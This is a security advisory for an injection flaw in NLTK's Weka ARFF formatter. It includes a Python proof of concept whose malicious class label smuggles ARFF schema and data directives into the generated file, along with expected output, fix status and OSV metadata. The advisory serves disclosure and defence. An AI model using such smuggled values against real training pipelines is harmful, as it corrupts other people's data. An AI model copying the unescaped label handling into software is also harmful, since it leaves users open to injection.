GHSA-9FFX-RRGX-MHGX
Vulnerability from github – Published: 2026-11-19 23:54 – Updated: 2026-11-19 23:54Description
Summary
nltk.classify.weka.ARFF_Formatter writes class labels directly into the Weka ARFF @ATTRIBUTE '-label-' {...} declaration without any ARFF quoting or escaping. An attacker who can contribute class labels to a training dataset can include ARFF metacharacters such as }, newlines, @ATTRIBUTE, and @DATA to break out of the nominal label list and inject attacker‑controlled ARFF schema and data directives.
This vulnerability is reachable in any application that calls WekaClassifier.train() or ARFF_Formatter.from_train() with attacker‑influenced training data. The victim does not need to manually edit the ARFF file; the normal training workflow writes the malformed ARFF automatically.
Technical Details
The vulnerable code path is:
WekaClassifier.train()callsARFF_Formatter.from_train(featuresets).from_train()extracts labels from the training data and passes them toARFF_Formatter(labels, features).header_section()uses",".join(self._labels)directly, embedding attacker‑controlled strings into the ARFF header without sanitization.
Because the label names are not escaped, a label containing safe}\n@ATTRIBUTE injected NUMERIC\n@DATA\n0,owned\n% will close the label set, inject a new attribute, start a premature data section, and comment out the remaining header.
Proof of Concept
The following self‑contained Python script demonstrates the vulnerability. It requires only NLTK and does not need Weka to be installed, because the attack is carried out purely by generating the ARFF string.
from nltk.classify.weka import ARFF_Formatter
# Attacker‑controlled label containing ARFF metacharacters.
# The `}` closes the label set, the `@ATTRIBUTE` injects a new attribute,
# `@DATA` starts the data section early, and `%` comments out the rest.
malicious_label = "safe}\n@ATTRIBUTE injected NUMERIC\n@DATA\n0,owned\n%"
featuresets = [
({"f": "benign"}, "legit"), # legitimate example
({"f": "payload"}, malicious_label), # attacker's example
]
# NLTK builds the formatter from the training data
formatter = ARFF_Formatter.from_train(featuresets)
# Generate the ARFF string – this is what would be written to the training file
arff = formatter.format(featuresets)
# Verify that the injection succeeded
assert "@ATTRIBUTE injected NUMERIC" in arff, "Injected attribute not found"
assert "@DATA\n0,owned" in arff, "Injected data row not found"
print("=== Injected ARFF (excerpt) ===")
for line in arff.splitlines()[5:12]:
print(line)
Expected output:
=== Injected ARFF (excerpt) ===
@ATTRIBUTE 'f' STRING
@ATTRIBUTE '-label-' {legit,safe}
@ATTRIBUTE injected NUMERIC
@DATA
0,owned
%
Explanation of the injection:
· The label safe} closes the nominal label set {legit,safe} prematurely. · The following lines (@ATTRIBUTE injected NUMERIC, @DATA, 0,owned) are then parsed as legitimate ARFF directives, not as part of the label name. · The % at the end comments out the remaining header lines that NLTK would have appended, preventing syntax errors.
References
· CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component · Huntr report https://huntr.com/bounties/bc7085e7-1caf-40c7-b406-a5099ce44072 · Weka ARFF format documentation
Fix status (2026-09-28)
Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).
PR: #3768 "Fix ARFF label injection in Weka classifier" (ekaf), merged 2026-08-24, merge commit e0a857f52 on develop. Fix commit: 56031eabc. Defence in depth: 0e1d6bf87 (PR #3863, ARFF values formatted from their type rather than caller str/repr).
Probe: nltk/test/unit/security_probes/ghsa_9ffx_rrgx_mhgx.py (added on #3768); verdict on develop 2fa3f48fe: FIXED (ARFF labels, values, and attribute names sanitized).
Release: none yet; no release tag contains 56031eabc.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.3"
},
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-129221"
],
"database_specific": {
"cwe_ids": [
"CWE-74"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-19T23:54:17Z",
"nvd_published_at": "2026-11-19T18:18:06Z",
"severity": "MODERATE"
},
"details": "## Description\n\n### Summary\n\n`nltk.classify.weka.ARFF_Formatter` writes class labels directly into the Weka ARFF `@ATTRIBUTE \u0027-label-\u0027 {...}` declaration without any ARFF quoting or escaping. An attacker who can contribute class labels to a training dataset can include ARFF metacharacters such as `}`, newlines, `@ATTRIBUTE`, and `@DATA` to break out of the nominal label list and inject attacker\u2011controlled ARFF schema and data directives.\n\nThis vulnerability is reachable in any application that calls `WekaClassifier.train()` or `ARFF_Formatter.from_train()` with attacker\u2011influenced training data. The victim does not need to manually edit the ARFF file; the normal training workflow writes the malformed ARFF automatically.\n\n### Technical Details\n\nThe vulnerable code path is:\n\n1. `WekaClassifier.train()` calls `ARFF_Formatter.from_train(featuresets)`.\n2. `from_train()` extracts labels from the training data and passes them to `ARFF_Formatter(labels, features)`.\n3. `header_section()` uses `\",\".join(self._labels)` directly, embedding attacker\u2011controlled strings into the ARFF header without sanitization.\n\nBecause the label names are not escaped, a label containing `safe}\\n@ATTRIBUTE injected NUMERIC\\n@DATA\\n0,owned\\n%` will close the label set, inject a new attribute, start a premature data section, and comment out the remaining header.\n\n### Proof of Concept\n\nThe following self\u2011contained Python script demonstrates the vulnerability. It requires only NLTK and does **not** need Weka to be installed, because the attack is carried out purely by generating the ARFF string.\n\n```python\nfrom nltk.classify.weka import ARFF_Formatter\n\n# Attacker\u2011controlled label containing ARFF metacharacters.\n# The `}` closes the label set, the `@ATTRIBUTE` injects a new attribute,\n# `@DATA` starts the data section early, and `%` comments out the rest.\nmalicious_label = \"safe}\\n@ATTRIBUTE injected NUMERIC\\n@DATA\\n0,owned\\n%\"\n\nfeaturesets = [\n ({\"f\": \"benign\"}, \"legit\"), # legitimate example\n ({\"f\": \"payload\"}, malicious_label), # attacker\u0027s example\n]\n\n# NLTK builds the formatter from the training data\nformatter = ARFF_Formatter.from_train(featuresets)\n\n# Generate the ARFF string \u2013 this is what would be written to the training file\narff = formatter.format(featuresets)\n\n# Verify that the injection succeeded\nassert \"@ATTRIBUTE injected NUMERIC\" in arff, \"Injected attribute not found\"\nassert \"@DATA\\n0,owned\" in arff, \"Injected data row not found\"\n\nprint(\"=== Injected ARFF (excerpt) ===\")\nfor line in arff.splitlines()[5:12]:\n print(line)\n```\n\nExpected output:\n\n```\n=== Injected ARFF (excerpt) ===\n@ATTRIBUTE \u0027f\u0027 STRING\n@ATTRIBUTE \u0027-label-\u0027 {legit,safe}\n@ATTRIBUTE injected NUMERIC\n@DATA\n0,owned\n%\n```\n\nExplanation of the injection:\n\n\u00b7 The label safe} closes the nominal label set {legit,safe} prematurely.\n\u00b7 The following lines (@ATTRIBUTE injected NUMERIC, @DATA, 0,owned) are then parsed as legitimate ARFF directives, not as part of the label name.\n\u00b7 The % at the end comments out the remaining header lines that NLTK would have appended, preventing syntax errors.\n\nReferences\n\n\u00b7 CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component\n\u00b7 Huntr report https://huntr.com/bounties/bc7085e7-1caf-40c7-b406-a5099ce44072\n\u00b7 Weka ARFF format documentation\n\n\n## Fix status (2026-09-28)\n\nStatus: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).\n\nPR: #3768 \"Fix ARFF label injection in Weka classifier\" (ekaf), merged 2026-08-24, merge commit e0a857f52 on develop. Fix commit: 56031eabc. Defence in depth: 0e1d6bf87 (PR #3863, ARFF values formatted from their type rather than caller str/repr).\n\nProbe: nltk/test/unit/security_probes/ghsa_9ffx_rrgx_mhgx.py (added on #3768); verdict on develop 2fa3f48fe: FIXED (ARFF labels, values, and attribute names sanitized).\n\nRelease: none yet; no release tag contains 56031eabc.",
"id": "GHSA-9ffx-rrgx-mhgx",
"modified": "2026-11-19T23:54:17Z",
"published": "2026-11-19T23:54:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-9ffx-rrgx-mhgx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-129221"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3768"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/56031eabc1ac6e5a109cb78bb18d10e0b7589594"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "NLTK: ARFF_Formatter Injects Weka ARFF Schema Directives via Attacker-Controlled Class Labels"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.